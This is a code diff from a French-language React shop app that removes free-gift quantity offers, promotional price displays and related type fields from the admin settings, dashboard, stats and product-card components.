<View style={{ marginTop: spacing.s, paddingLeft: spacing.m, gap: spacing.s }}>
|
|
||||||
{/* Toggle tous / sélection */}
|
|
||||||
<View style={{ flexDirection: "row", gap: spacing.s }}>
|
|
||||||
<TouchableOpacity
|
|
||||||
onPress={() => onChange({ ...catConfig, all_products: true, products: [] })}
|
|
||||||
style={{
|
|
||||||
flexDirection: "row", alignItems: "center", gap: spacing.xs,
|
|
||||||
paddingHorizontal: spacing.m, paddingVertical: spacing.xs,
|
|
||||||
borderRadius: borderRadius.full, borderWidth: 1.5,
|
|
||||||
borderColor: catConfig.all_products ? FREEGIFT_ACCENT : colors.border,
|
|
||||||
backgroundColor: catConfig.all_products ? FREEGIFT_ACCENT + "22" : "transparent",
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
<Ionicons name="checkmark-done-outline" size={13} color={catConfig.all_products ? FREEGIFT_ACCENT : colors.textMuted} />
|
|
||||||
<Text style={{ fontSize: 12, fontWeight: catConfig.all_products ? "700" : "400", color: catConfig.all_products ? FREEGIFT_ACCENT : colors.textMuted }}>
|
|
||||||
Tous ({catProducts.length})
|
|
||||||
</Text>
|
|
||||||
</TouchableOpacity>
|
|
||||||
<TouchableOpacity
|
|
||||||
onPress={() => onChange({ ...catConfig, all_products: false })}
|
|
||||||
style={{
|
|
||||||
flexDirection: "row", alignItems: "center", gap: spacing.xs,
|
|
||||||
paddingHorizontal: spacing.m, paddingVertical: spacing.xs,
|
|
||||||
borderRadius: borderRadius.full, borderWidth: 1.5,
|
|
||||||
borderColor: !catConfig.all_products ? FREEGIFT_ACCENT : colors.border,
|
|
||||||
backgroundColor: !catConfig.all_products ? FREEGIFT_ACCENT + "22" : "transparent",
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
<Ionicons name="list-outline" size={13} color={!catConfig.all_products ? FREEGIFT_ACCENT : colors.textMuted} />
|
|
||||||
<Text style={{ fontSize: 12, fontWeight: !catConfig.all_products ? "700" : "400", color: !catConfig.all_products ? FREEGIFT_ACCENT : colors.textMuted }}>
|
|
||||||
Sélection
|
|
||||||
</Text>
|
|
||||||
</TouchableOpacity>
|
|
||||||
</View>
|
|
||||||
|
|
||||||
{/* Mode "Tous" : seuils uniformes pour tous les produits de la catégorie */}
|
|
||||||
{catConfig.all_products && (
|
|
||||||
<View>
|
|
||||||
<Text style={{ fontSize: 11, color: colors.textMuted, fontStyle: "italic", marginBottom: 4 }}>
|
|
||||||
Les quantités achetées doivent correspondre à des paliers de prix existants
|
|
||||||
</Text>
|
|
||||||
<FreeGiftTierListEditor
|
|
||||||
tiers={catConfig.tiers}
|
|
||||||
onChange={(tiers) => onChange({ ...catConfig, tiers })}
|
|
||||||
colors={colors}
|
|
||||||
s={s}
|
|
||||||
/>
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{/* Mode "Sélection" : chaque produit choisi a ses propres seuils */}
|
|
||||||
{!catConfig.all_products && (
|
|
||||||
<View style={{ gap: spacing.xs }}>
|
|
||||||
{catProducts.length === 0 ? (
|
|
||||||
<Text style={{ fontSize: 12, color: colors.textMuted, fontStyle: "italic" }}>
|
|
||||||
Aucun produit dans cette catégorie
|
|
||||||
</Text>
|
|
||||||
) : (
|
|
||||||
<View style={{ flexDirection: "row", flexWrap: "wrap", gap: spacing.xs }}>
|
|
||||||
{catProducts.map((p) => {
|
|
||||||
const sel = catConfig.products.some((pq) => pq.product_id === p.id);
|
|
||||||
return (
|
|
||||||
<TouchableOpacity
|
|
||||||
key={p.id}
|
|
||||||
onPress={() => toggleProduct(p.id)}
|
|
||||||
style={{
|
|
||||||
paddingHorizontal: spacing.s, paddingVertical: 4,
|
|
||||||
borderRadius: borderRadius.sm, borderWidth: 1.5,
|
|
||||||
borderColor: sel ? FREEGIFT_ACCENT : colors.border,
|
|
||||||
backgroundColor: sel ? FREEGIFT_ACCENT + "22" : "transparent",
|
|
||||||
flexDirection: "row", alignItems: "center", gap: 4,
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
{sel && <Ionicons name="checkmark" size={11} color={FREEGIFT_ACCENT} />}
|
|
||||||
<Text style={{ fontSize: 12, fontWeight: sel ? "700" : "400", color: sel ? FREEGIFT_ACCENT : colors.textMuted }}>
|
|
||||||
{p.name}
|
|
||||||
</Text>
|
|
||||||
</TouchableOpacity>
|
|
||||||
);
|
|
||||||
})}
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{catConfig.products.length > 0 && (
|
|
||||||
<View style={{ gap: spacing.s, marginTop: spacing.xs }}>
|
|
||||||
{catConfig.products.map((pq) => {
|
|
||||||
const prod = catProducts.find((p) => p.id === pq.product_id);
|
|
||||||
return (
|
|
||||||
<View key={pq.product_id} style={{ gap: 4 }}>
|
|
||||||
<Text style={{ fontSize: 12, color: colors.textMuted }} numberOfLines={1}>
|
|
||||||
{prod?.name ?? `Produit #${pq.product_id}`}
|
|
||||||
</Text>
|
|
||||||
<FreeGiftTierListEditor
|
|
||||||
tiers={pq.tiers}
|
|
||||||
onChange={(tiers) => updateProductTiers(pq.product_id, tiers)}
|
|
||||||
colors={colors}
|
|
||||||
s={s}
|
|
||||||
/>
|
|
||||||
</View>
|
|
||||||
);
|
|
||||||
})}
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
</View>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function FreeGiftsSection({
|
|
||||||
enabled,
|
|
||||||
freeGifts,
|
|
||||||
allCategories,
|
|
||||||
productsByCategory,
|
|
||||||
onToggle,
|
|
||||||
onChangeFreeGifts,
|
|
||||||
colors,
|
|
||||||
s,
|
|
||||||
}: {
|
|
||||||
enabled: boolean;
|
|
||||||
freeGifts: CategoryFreeGiftConfig[];
|
|
||||||
allCategories: Category[];
|
|
||||||
productsByCategory: Record<string, Product[]>;
|
|
||||||
onToggle: (v: boolean) => void;
|
|
||||||
onChangeFreeGifts: (freeGifts: CategoryFreeGiftConfig[]) => void;
|
|
||||||
colors: any;
|
|
||||||
s: any;
|
|
||||||
}) {
|
|
||||||
const getCatConfig = (catName: string): CategoryFreeGiftConfig =>
|
|
||||||
freeGifts.find((g) => g.category === catName) ??
|
|
||||||
{ category: catName, all_products: true, tiers: [], products: [] };
|
|
||||||
|
|
||||||
const isCatSelected = (catName: string) => freeGifts.some((g) => g.category === catName);
|
|
||||||
|
|
||||||
const toggleCategory = (catName: string) => {
|
|
||||||
if (isCatSelected(catName)) {
|
|
||||||
onChangeFreeGifts(freeGifts.filter((g) => g.category !== catName));
|
|
||||||
} else {
|
|
||||||
onChangeFreeGifts([...freeGifts, { category: catName, all_products: true, tiers: [], products: [] }]);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const updateCatConfig = (cfg: CategoryFreeGiftConfig) => {
|
|
||||||
onChangeFreeGifts(freeGifts.map((g) => (g.category === cfg.category ? cfg : g)));
|
|
||||||
};
|
|
||||||
|
|
||||||
const [expandedCats, setExpandedCats] = useState<Set<string>>(new Set());
|
|
||||||
const toggleExpanded = (catName: string) => {
|
|
||||||
setExpandedCats((prev) => {
|
|
||||||
const next = new Set(prev);
|
|
||||||
if (next.has(catName)) next.delete(catName); else next.add(catName);
|
|
||||||
return next;
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
const countTiers = (cfg: CategoryFreeGiftConfig) =>
|
|
||||||
cfg.all_products ? cfg.tiers.length : cfg.products.reduce((sum, pq) => sum + pq.tiers.length, 0);
|
|
||||||
|
|
||||||
const badge = (
|
|
||||||
<View style={{
|
|
||||||
paddingHorizontal: spacing.s, paddingVertical: 2, borderRadius: 10,
|
|
||||||
backgroundColor: enabled ? FREEGIFT_ACCENT + "25" : colors.border + "40",
|
|
||||||
borderWidth: 1, borderColor: enabled ? FREEGIFT_ACCENT : colors.border,
|
|
||||||
}}>
|
|
||||||
<Text style={{ fontSize: 10, fontWeight: "700", color: enabled ? FREEGIFT_ACCENT : colors.textMuted }}>
|
|
||||||
{enabled ? "Activées" : "Désactivées"}
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
);
|
|
||||||
|
|
||||||
return (
|
|
||||||
<AccordionSection title="Offres quantité offerte" badge={badge} colors={colors} s={s}>
|
|
||||||
<View style={[s.row, s.rowFirst]}>
|
|
||||||
<View style={s.rowLeft}>
|
|
||||||
<Text style={s.rowLabel}>Offres activées</Text>
|
|
||||||
<Text style={s.rowDesc}>
|
|
||||||
Quantité supplémentaire du même produit livrée gratuitement dès qu'un seuil d'achat est atteint (ex: 10g achetés → 1g offert) — indépendant des points et des promotions, cumulable avec elles.
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
<Switch
|
|
||||||
value={enabled}
|
|
||||||
onValueChange={onToggle}
|
|
||||||
trackColor={{ false: colors.border, true: FREEGIFT_ACCENT }}
|
|
||||||
thumbColor="#fff"
|
|
||||||
/>
|
|
||||||
</View>
|
|
||||||
|
|
||||||
{enabled && (
|
|
||||||
<View style={{ borderTopWidth: 1, borderTopColor: colors.border, paddingHorizontal: spacing.l, paddingTop: spacing.l, paddingBottom: spacing.l, gap: spacing.l }}>
|
|
||||||
<View>
|
|
||||||
<Text style={[s.rowLabel, { marginBottom: spacing.xs }]}>Catégories concernées</Text>
|
|
||||||
<Text style={[s.rowDesc, { marginBottom: spacing.m }]}>
|
|
||||||
Sélectionnez une catégorie, puis tous les produits ou une sélection, avec un ou plusieurs seuils achat/offert par produit.
|
|
||||||
</Text>
|
|
||||||
{allCategories.length === 0 ? (
|
|
||||||
<Text style={[s.hint, { paddingHorizontal: 0 }]}>Aucune catégorie disponible</Text>
|
|
||||||
) : (
|
|
||||||
<View style={{ gap: spacing.m }}>
|
|
||||||
{allCategories.map((cat) => {
|
|
||||||
const selected = isCatSelected(cat.name);
|
|
||||||
const expanded = expandedCats.has(cat.name);
|
|
||||||
const catColor = cat.color || FREEGIFT_ACCENT;
|
|
||||||
const cfg = getCatConfig(cat.name);
|
|
||||||
return (
|
|
||||||
<View key={cat.name}>
|
|
||||||
<TouchableOpacity
|
|
||||||
onPress={() => toggleExpanded(cat.name)}
|
|
||||||
style={{
|
|
||||||
flexDirection: "row", alignItems: "center", gap: spacing.xs,
|
|
||||||
alignSelf: "flex-start",
|
|
||||||
paddingHorizontal: spacing.m, paddingVertical: spacing.s,
|
|
||||||
borderRadius: borderRadius.full, borderWidth: 1.5,
|
|
||||||
borderColor: selected ? catColor : colors.border,
|
|
||||||
backgroundColor: selected ? catColor + "22" : "transparent",
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
<View style={{ width: 8, height: 8, borderRadius: 4, backgroundColor: catColor }} />
|
|
||||||
<Text style={{ fontSize: 13, fontWeight: selected ? "700" : "400", color: selected ? catColor : colors.textMuted }}>
|
|
||||||
{cat.name}{selected && countTiers(cfg) > 0 ? ` · ${countTiers(cfg)} seuil(s)` : ""}
|
|
||||||
</Text>
|
|
||||||
<Ionicons
|
|
||||||
name={expanded ? "chevron-down" : "chevron-forward"}
|
|
||||||
size={12}
|
|
||||||
color={selected ? catColor : colors.textMuted}
|
|
||||||
/>
|
|
||||||
</TouchableOpacity>
|
|
||||||
|
|
||||||
{expanded && (
|
|
||||||
<View style={{ marginTop: spacing.s, paddingLeft: spacing.m, gap: spacing.s }}>
|
|
||||||
<TouchableOpacity
|
|
||||||
onPress={() => toggleCategory(cat.name)}
|
|
||||||
style={{
|
|
||||||
flexDirection: "row", alignItems: "center", gap: 4,
|
|
||||||
alignSelf: "flex-start",
|
|
||||||
paddingHorizontal: spacing.s, paddingVertical: 4,
|
|
||||||
borderRadius: borderRadius.sm, borderWidth: 1.5,
|
|
||||||
borderColor: selected ? FREEGIFT_ACCENT : colors.border,
|
|
||||||
backgroundColor: selected ? FREEGIFT_ACCENT + "22" : "transparent",
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
<Ionicons
|
|
||||||
name={selected ? "checkbox" : "square-outline"}
|
|
||||||
size={14}
|
|
||||||
color={selected ? FREEGIFT_ACCENT : colors.textMuted}
|
|
||||||
/>
|
|
||||||
<Ionicons name="gift-outline" size={12} color={selected ? FREEGIFT_ACCENT : colors.textMuted} />
|
|
||||||
<Text style={{ fontSize: 12, fontWeight: selected ? "700" : "400", color: selected ? FREEGIFT_ACCENT : colors.textMuted }}>
|
|
||||||
Offre active sur cette catégorie
|
|
||||||
</Text>
|
|
||||||
</TouchableOpacity>
|
|
||||||
|
|
||||||
{selected && (
|
|
||||||
<FreeGiftProductPicker
|
|
||||||
catConfig={cfg}
|
|
||||||
products={productsByCategory[cat.name] ?? []}
|
|
||||||
onChange={updateCatConfig}
|
|
||||||
colors={colors}
|
|
||||||
s={s}
|
|
||||||
/>
|
|
||||||
)}
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
</View>
|
|
||||||
);
|
|
||||||
})}
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
</View>
|
|
||||||
|
|
||||||
{/* Récapitulatif */}
|
|
||||||
{freeGifts.length > 0 && (
|
|
||||||
<View style={{ backgroundColor: FREEGIFT_ACCENT + "12", borderRadius: borderRadius.sm, borderLeftWidth: 3, borderLeftColor: FREEGIFT_ACCENT, padding: spacing.m, gap: 4 }}>
|
|
||||||
<Text style={{ fontSize: 13, fontWeight: "700", color: FREEGIFT_ACCENT }}>Récapitulatif</Text>
|
|
||||||
{freeGifts.map((cfg, idx) => (
|
|
||||||
<Text key={`${cfg.category}-${idx}`} style={{ fontSize: 12, color: colors.textSecondary }}>
|
|
||||||
• {cfg.category} — {cfg.all_products
|
|
||||||
? `tous les produits · ${cfg.tiers.map((t) => `${t.buy_quantity}→+${t.free_quantity}`).join(", ") || "aucun seuil"}`
|
|
||||||
: `${cfg.products.length} produit(s) : ${cfg.products.map((pq) => `#${pq.product_id}[${pq.tiers.map((t) => `${t.buy_quantity}→+${t.free_quantity}`).join(",")}]`).join(", ")}`}
|
|
||||||
</Text>
|
|
||||||
))}
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
</AccordionSection>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Palette violette d'origine de l'application (thème par défaut historique)
|
// Palette violette d'origine de l'application (thème par défaut historique)
|
||||||
const ORIGINAL_THEME_COLORS = {
|
const ORIGINAL_THEME_COLORS = {
|
||||||
admin_color_primary: "#7c3aed",
|
admin_color_primary: "#7c3aed",
|
||||||
@@ -1976,8 +1564,6 @@ export default function SettingsScreen() {
|
|||||||
points_reward: null,
|
points_reward: null,
|
||||||
promotions_enabled: false,
|
promotions_enabled: false,
|
||||||
promotions: [],
|
promotions: [],
|
||||||
free_gifts_enabled: false,
|
|
||||||
free_gifts: [],
|
|
||||||
admin_color_primary: "#7c3aed",
|
admin_color_primary: "#7c3aed",
|
||||||
admin_color_secondary: "#22d3ee",
|
admin_color_secondary: "#22d3ee",
|
||||||
admin_color_success: "#4ade80",
|
admin_color_success: "#4ade80",
|
||||||
@@ -2062,15 +1648,6 @@ export default function SettingsScreen() {
|
|||||||
...cfg,
|
...cfg,
|
||||||
products: cfg.products ?? [],
|
products: cfg.products ?? [],
|
||||||
})),
|
})),
|
||||||
free_gifts_enabled: s.free_gifts_enabled ?? false,
|
|
||||||
free_gifts: (s.free_gifts ?? []).map((cfg) => ({
|
|
||||||
...cfg,
|
|
||||||
tiers: cfg.tiers ?? [],
|
|
||||||
products: (cfg.products ?? []).map((pq) => ({
|
|
||||||
...pq,
|
|
||||||
tiers: pq.tiers ?? [],
|
|
||||||
})),
|
|
||||||
})),
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
if (categoriesRes) {
|
if (categoriesRes) {
|
||||||
@@ -2698,18 +2275,6 @@ export default function SettingsScreen() {
|
|||||||
s={s}
|
s={s}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
{/* Offres "achetez X, Y offert" — quantité offerte du même produit */}
|
|
||||||
<FreeGiftsSection
|
|
||||||
enabled={settings.free_gifts_enabled ?? false}
|
|
||||||
freeGifts={settings.free_gifts ?? []}
|
|
||||||
allCategories={categories}
|
|
||||||
productsByCategory={productsByCategory}
|
|
||||||
onToggle={(v) => setSettings((p) => ({ ...p, free_gifts_enabled: v }))}
|
|
||||||
onChangeFreeGifts={(free_gifts) => setSettings((p) => ({ ...p, free_gifts }))}
|
|
||||||
colors={colors}
|
|
||||||
s={s}
|
|
||||||
/>
|
|
||||||
|
|
||||||
{/* Horaires de livraison */}
|
{/* Horaires de livraison */}
|
||||||
<DeliveryScheduleSection
|
<DeliveryScheduleSection
|
||||||
schedule={settings.delivery_schedule ?? DEFAULT_DELIVERY_SCHEDULE}
|
schedule={settings.delivery_schedule ?? DEFAULT_DELIVERY_SCHEDULE}
|
||||||
|
|||||||
@@ -1643,20 +1643,6 @@ export default function StatsScreen() {
|
|||||||
color={CHART_AMBER}
|
color={CHART_AMBER}
|
||||||
/>
|
/>
|
||||||
</View>
|
</View>
|
||||||
<View style={styles.summaryRow}>
|
|
||||||
<SummaryCard
|
|
||||||
icon="pricetag-outline"
|
|
||||||
label="Économisé (promos)"
|
|
||||||
value={fmtEuro(s?.total_promo_discount ?? 0)}
|
|
||||||
color={CHART_GREEN}
|
|
||||||
/>
|
|
||||||
<SummaryCard
|
|
||||||
icon="gift-outline"
|
|
||||||
label="Commandes avec promo"
|
|
||||||
value={fmtNum(s?.promo_orders_count ?? 0)}
|
|
||||||
color={CHART_AMBER}
|
|
||||||
/>
|
|
||||||
</View>
|
|
||||||
|
|
||||||
{/* ── Activité du jour ── */}
|
{/* ── Activité du jour ── */}
|
||||||
{stats?.daily_detail && (
|
{stats?.daily_detail && (
|
||||||
|
|||||||
@@ -75,7 +75,7 @@ interface EnrichedDelivery extends DeliveryItem {
|
|||||||
clientUsername?: string;
|
clientUsername?: string;
|
||||||
clientNom?: string;
|
clientNom?: string;
|
||||||
clientPrenom?: string;
|
clientPrenom?: string;
|
||||||
items?: Array<{ produit: string; quantite: number; prix: number; unit?: string; is_reward?: boolean; promo_discount?: number }>;
|
items?: Array<{ produit: string; quantite: number; prix: number; unit?: string; is_reward?: boolean }>;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function DashboardScreen() {
|
export default function DashboardScreen() {
|
||||||
@@ -707,14 +707,7 @@ export default function DashboardScreen() {
|
|||||||
</Text>
|
</Text>
|
||||||
</View>
|
</View>
|
||||||
)}
|
)}
|
||||||
{item.items.map((prod, idx) => {
|
{item.items.map((prod, idx) => (
|
||||||
const promoDiscount = prod.promo_discount ?? 0;
|
|
||||||
const hasPromo = !prod.is_reward && promoDiscount > 0;
|
|
||||||
const originalPrice = (prod.prix ?? 0) + promoDiscount;
|
|
||||||
const promoPercent = hasPromo && originalPrice > 0
|
|
||||||
? Math.round((promoDiscount / originalPrice) * 100)
|
|
||||||
: 0;
|
|
||||||
return (
|
|
||||||
<View key={idx} style={styles.itemRow}>
|
<View key={idx} style={styles.itemRow}>
|
||||||
<View style={{ flex: 1 }}>
|
<View style={{ flex: 1 }}>
|
||||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 4 }}>
|
<View style={{ flexDirection: "row", alignItems: "center", gap: 4 }}>
|
||||||
@@ -725,34 +718,16 @@ export default function DashboardScreen() {
|
|||||||
<Text style={{ fontSize: 10, color: "#f59e0b", fontWeight: "700" }}>Récompense</Text>
|
<Text style={{ fontSize: 10, color: "#f59e0b", fontWeight: "700" }}>Récompense</Text>
|
||||||
</View>
|
</View>
|
||||||
)}
|
)}
|
||||||
{hasPromo && (
|
|
||||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 2, backgroundColor: "rgba(34,197,94,0.15)", borderRadius: 4, paddingHorizontal: 4, paddingVertical: 1 }}>
|
|
||||||
<Ionicons name="pricetag-outline" size={10} color="#22c55e" />
|
|
||||||
<Text style={{ fontSize: 10, color: "#22c55e", fontWeight: "700" }}>-{promoPercent}%</Text>
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
</View>
|
</View>
|
||||||
<Text style={styles.itemQty}>
|
<Text style={styles.itemQty}>
|
||||||
Quantité: {prod.quantite}{prod.unit || ""}
|
Quantité: {prod.quantite}{prod.unit || ""}
|
||||||
</Text>
|
</Text>
|
||||||
</View>
|
</View>
|
||||||
{hasPromo ? (
|
<Text style={[styles.itemPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
||||||
<View style={{ alignItems: "flex-end" }}>
|
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
||||||
<Text style={{ fontSize: 12, color: colors.textMuted, textDecorationLine: "line-through" }}>
|
</Text>
|
||||||
{originalPrice.toFixed(2)}€
|
|
||||||
</Text>
|
|
||||||
<Text style={[styles.itemPrice, { color: "#22c55e" }]}>
|
|
||||||
{(prod.prix ?? 0).toFixed(2)}€
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
) : (
|
|
||||||
<Text style={[styles.itemPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
|
||||||
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
|
||||||
</Text>
|
|
||||||
)}
|
|
||||||
</View>
|
</View>
|
||||||
);
|
))}
|
||||||
})}
|
|
||||||
<View style={styles.totalRow}>
|
<View style={styles.totalRow}>
|
||||||
<Text style={styles.totalLabel}>Total</Text>
|
<Text style={styles.totalLabel}>Total</Text>
|
||||||
<Text style={styles.totalValue}>
|
<Text style={styles.totalValue}>
|
||||||
@@ -2035,14 +2010,7 @@ export default function DashboardScreen() {
|
|||||||
</Text>
|
</Text>
|
||||||
</View>
|
</View>
|
||||||
)}
|
)}
|
||||||
{detailsDelivery.items.map((prod, idx) => {
|
{detailsDelivery.items.map((prod, idx) => (
|
||||||
const promoDiscount = prod.promo_discount ?? 0;
|
|
||||||
const hasPromo = !prod.is_reward && promoDiscount > 0;
|
|
||||||
const originalPrice = (prod.prix ?? 0) + promoDiscount;
|
|
||||||
const promoPercent = hasPromo && originalPrice > 0
|
|
||||||
? Math.round((promoDiscount / originalPrice) * 100)
|
|
||||||
: 0;
|
|
||||||
return (
|
|
||||||
<View key={idx} style={styles.detailProductRow}>
|
<View key={idx} style={styles.detailProductRow}>
|
||||||
<View style={{ flex: 1 }}>
|
<View style={{ flex: 1 }}>
|
||||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 4 }}>
|
<View style={{ flexDirection: "row", alignItems: "center", gap: 4 }}>
|
||||||
@@ -2053,34 +2021,16 @@ export default function DashboardScreen() {
|
|||||||
<Text style={{ fontSize: 11, color: "#f59e0b", fontWeight: "700" }}>Récompense</Text>
|
<Text style={{ fontSize: 11, color: "#f59e0b", fontWeight: "700" }}>Récompense</Text>
|
||||||
</View>
|
</View>
|
||||||
)}
|
)}
|
||||||
{hasPromo && (
|
|
||||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 2, backgroundColor: "rgba(34,197,94,0.15)", borderRadius: 4, paddingHorizontal: 4, paddingVertical: 1 }}>
|
|
||||||
<Ionicons name="pricetag-outline" size={11} color="#22c55e" />
|
|
||||||
<Text style={{ fontSize: 11, color: "#22c55e", fontWeight: "700" }}>-{promoPercent}%</Text>
|
|
||||||
</View>
|
|
||||||
)}
|
|
||||||
</View>
|
</View>
|
||||||
<Text style={styles.detailProductQty}>
|
<Text style={styles.detailProductQty}>
|
||||||
Quantité : {prod.quantite}{prod.unit || ""}
|
Quantité : {prod.quantite}{prod.unit || ""}
|
||||||
</Text>
|
</Text>
|
||||||
</View>
|
</View>
|
||||||
{hasPromo ? (
|
<Text style={[styles.detailProductPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
||||||
<View style={{ alignItems: "flex-end" }}>
|
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
||||||
<Text style={{ fontSize: 12, color: colors.textMuted, textDecorationLine: "line-through" }}>
|
</Text>
|
||||||
{originalPrice.toFixed(2)}€
|
|
||||||
</Text>
|
|
||||||
<Text style={[styles.detailProductPrice, { color: "#22c55e" }]}>
|
|
||||||
{(prod.prix ?? 0).toFixed(2)}€
|
|
||||||
</Text>
|
|
||||||
</View>
|
|
||||||
) : (
|
|
||||||
<Text style={[styles.detailProductPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
|
||||||
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
|
||||||
</Text>
|
|
||||||
)}
|
|
||||||
</View>
|
</View>
|
||||||
);
|
))}
|
||||||
})}
|
|
||||||
</>
|
</>
|
||||||
) : (
|
) : (
|
||||||
<Text style={styles.detailEmpty}>Aucun produit</Text>
|
<Text style={styles.detailEmpty}>Aucun produit</Text>
|
||||||
|
|||||||
@@ -1,3 +0,0 @@
|
|||||||
[ZoneTransfer]
|
|
||||||
ZoneId=3
|
|
||||||
HostUrl=about:internet
|
|
||||||
@@ -796,13 +796,7 @@ export interface Product {
|
|||||||
category: string;
|
category: string;
|
||||||
unit?: string;
|
unit?: string;
|
||||||
stock: number;
|
stock: number;
|
||||||
prices?: Array<{
|
prices?: Array<{ quantity: number; price: number; active_price?: boolean }>;
|
||||||
quantity: number;
|
|
||||||
price: number;
|
|
||||||
active_price?: boolean;
|
|
||||||
promo_price?: number | null;
|
|
||||||
promo_percent?: number;
|
|
||||||
}>;
|
|
||||||
media?: MediaItem[]; // ✅ CHANGÉ: string[] → MediaItem[]
|
media?: MediaItem[]; // ✅ CHANGÉ: string[] → MediaItem[]
|
||||||
coming_soon?: boolean;
|
coming_soon?: boolean;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -122,13 +122,6 @@
|
|||||||
text-align: center;
|
text-align: center;
|
||||||
}
|
}
|
||||||
|
|
||||||
.product-price-strike {
|
|
||||||
color: var(--text-muted);
|
|
||||||
text-decoration: line-through;
|
|
||||||
font-size: 0.75em;
|
|
||||||
font-weight: 500;
|
|
||||||
}
|
|
||||||
|
|
||||||
.product-stock {
|
.product-stock {
|
||||||
color: var(--text-muted);
|
color: var(--text-muted);
|
||||||
font-size: clamp(0.85rem, 2.5vw, 1rem);
|
font-size: clamp(0.85rem, 2.5vw, 1rem);
|
||||||
|
|||||||
@@ -28,13 +28,7 @@ interface ProductCardProps {
|
|||||||
image: string;
|
image: string;
|
||||||
stock: number;
|
stock: number;
|
||||||
category: string;
|
category: string;
|
||||||
prices?: Array<{
|
prices?: Array<{ quantity: number; price: number; active_price?: boolean }>;
|
||||||
quantity: number;
|
|
||||||
price: number;
|
|
||||||
active_price?: boolean;
|
|
||||||
promo_price?: number | null;
|
|
||||||
promo_percent?: number;
|
|
||||||
}>;
|
|
||||||
hasVideo?: boolean;
|
hasVideo?: boolean;
|
||||||
videoUrl?: string; // ✨ Nouveau prop pour l'URL de la vidéo
|
videoUrl?: string; // ✨ Nouveau prop pour l'URL de la vidéo
|
||||||
categoryColor?: string;
|
categoryColor?: string;
|
||||||
@@ -69,11 +63,6 @@ function ProductCard({
|
|||||||
const isOutOfStock = stock === 0;
|
const isOutOfStock = stock === 0;
|
||||||
const isComingSoon = coming_soon === true;
|
const isComingSoon = coming_soon === true;
|
||||||
const normalizedCategory = (category || "autre").toLowerCase().trim();
|
const normalizedCategory = (category || "autre").toLowerCase().trim();
|
||||||
const firstPromoPrice =
|
|
||||||
prices?.[0]?.promo_price != null &&
|
|
||||||
prices[0].promo_price < prices[0].price
|
|
||||||
? prices[0].promo_price
|
|
||||||
: null;
|
|
||||||
|
|
||||||
const handleDetailsClick = (e: React.MouseEvent) => {
|
const handleDetailsClick = (e: React.MouseEvent) => {
|
||||||
e.stopPropagation();
|
e.stopPropagation();
|
||||||
@@ -182,20 +171,9 @@ function ProductCard({
|
|||||||
<div className="product-info">
|
<div className="product-info">
|
||||||
<h3 className="product-name">{name}</h3>
|
<h3 className="product-name">{name}</h3>
|
||||||
<p className="product-price">
|
<p className="product-price">
|
||||||
{price > 0 ? (
|
{price > 0
|
||||||
firstPromoPrice !== null ? (
|
? `${price.toFixed(2)} €`
|
||||||
<>
|
: "Prix non disponible"}
|
||||||
<span className="product-price-strike">
|
|
||||||
{price.toFixed(2)} €
|
|
||||||
</span>{" "}
|
|
||||||
{firstPromoPrice.toFixed(2)} €
|
|
||||||
</>
|
|
||||||
) : (
|
|
||||||
`${price.toFixed(2)} €`
|
|
||||||
)
|
|
||||||
) : (
|
|
||||||
"Prix non disponible"
|
|
||||||
)}
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -246,11 +224,9 @@ function ProductCard({
|
|||||||
key={priceOption.quantity}
|
key={priceOption.quantity}
|
||||||
value={priceOption.quantity}
|
value={priceOption.quantity}
|
||||||
>
|
>
|
||||||
{priceOption.promo_price != null &&
|
{priceOption.quantity}
|
||||||
priceOption.promo_price <
|
{unit} - {priceOption.price.toFixed(2)}{" "}
|
||||||
priceOption.price
|
€
|
||||||
? `${priceOption.quantity}${unit} - ${priceOption.promo_price.toFixed(2)} € (au lieu de ${priceOption.price.toFixed(2)} €, -${priceOption.promo_percent}%)`
|
|
||||||
: `${priceOption.quantity}${unit} - ${priceOption.price.toFixed(2)} €`}
|
|
||||||
</option>
|
</option>
|
||||||
))}
|
))}
|
||||||
</select>
|
</select>
|
||||||
|
|||||||
@@ -1,9 +1,5 @@
|
|||||||
// ============================================
|
// ============================================
|
||||||
// context/CartContext.tsx - QUANTITÉS EN GRAMMES
|
// context/CartContext.tsx - QUANTITÉS EN GRAMMES
|
||||||
// ============================================
